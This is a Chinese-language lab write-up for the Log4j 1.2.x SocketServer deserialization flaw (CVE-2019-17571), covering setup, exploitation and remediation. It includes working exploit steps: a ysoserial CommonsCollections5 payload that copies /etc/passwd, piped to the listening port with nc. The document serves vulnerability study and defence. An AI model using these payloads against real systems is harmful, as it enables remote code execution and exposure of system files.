1、【CVE编号】
CVE-2019-17571
2、【漏洞名称】
Apache Log4j SocketServer 反序列化漏洞
3、【靶标分类】
通用漏洞组件类靶标
4、【影响版本】
Log4j1.2.x<=1.2.17
5、【漏洞分类】
代码执行
6、【漏洞等级】
高
7、【漏洞简介】
Apache Log4j 是一个基于 Java 的日志记录工具,是 Apache 软件基金会的一个项目,是几种 Java 日志框架之一。
近日,Apache Log4j 官方披露在 1.2.x 版本中的SocketServer类存在反序列化漏洞(CVE-2019-17571),攻击者可利用漏洞可实现远程代码执行。
Log4j 1.2.x 版本中的 org.apache.log4j.net.SocketServer 类,存在反序列化漏洞。使用 Log4j SocketServer 类创建的 Socket 监听服务处理接受数据时,容易对不可信数据进行反序列化,结合反序列化小工具,攻击者可以实现远程代码执行。
环境搭建
8、【靶标运行环境】
标靶运行操作系统系统:Ubuntu1804 64位
操作系统内核:4.15.0-92-generic
组件版本:log4j 1.2.17
Java版本:1.8.0_242
端口号:8888
工具:ysoserial
9、【靶标搭建过程】
1、需要的jar包和ysoserial工具
2、其中配置文件log4j.properties内容如下
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
3、启动SocketServer端即可
root@ubuntu:~/Desktop/CVE-2019-17571_Log4j反序列化# java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 8888 ./log4j.properties ./
服务已经启动,正在监听8888端口
10、靶场利用过程
1、使用ysoserial生成poc
java -jar ysoserial.jar CommonsCollections5 "cp /etc/passwd /tmp/passwd" > test.bin
2、攻击靶场环境
cat test.bin | nc 127.0.0.1 8888
3、此时我们看一下/tmp 目录下,成功将/etc/passwd 文件复制到了 /tmp/passwd 中
4、可以通过运行CVE-2019-17571.py快速达到上述目的
python3 CVE-2019-17571.py
11、【解决方案】
1、Apache Log4j 的 1.2 系列版本官方在2015年8月已停止维护,在 2.8.2 版本中已修复了该漏洞,建议尽快升级到 2.8.2 或更高的版本;
下载地址:https://logging.apache.org/log4j/2.x/download.html
2、停止使用 Log4j 的 SocketServer 类创建 Socket 服务,未使用 Log4j 的 SocketServer 类的功能不受漏洞影响;
Referer:
https://www.geek-by.xyz/2019/12/30/apache-log4j-socketserver-fan-xu-lie-hua-lou-dong-cve-2019-17571/
https://xz.aliyun.com/t/7010
https://github.com/shadow-horse/CVE-2019-17571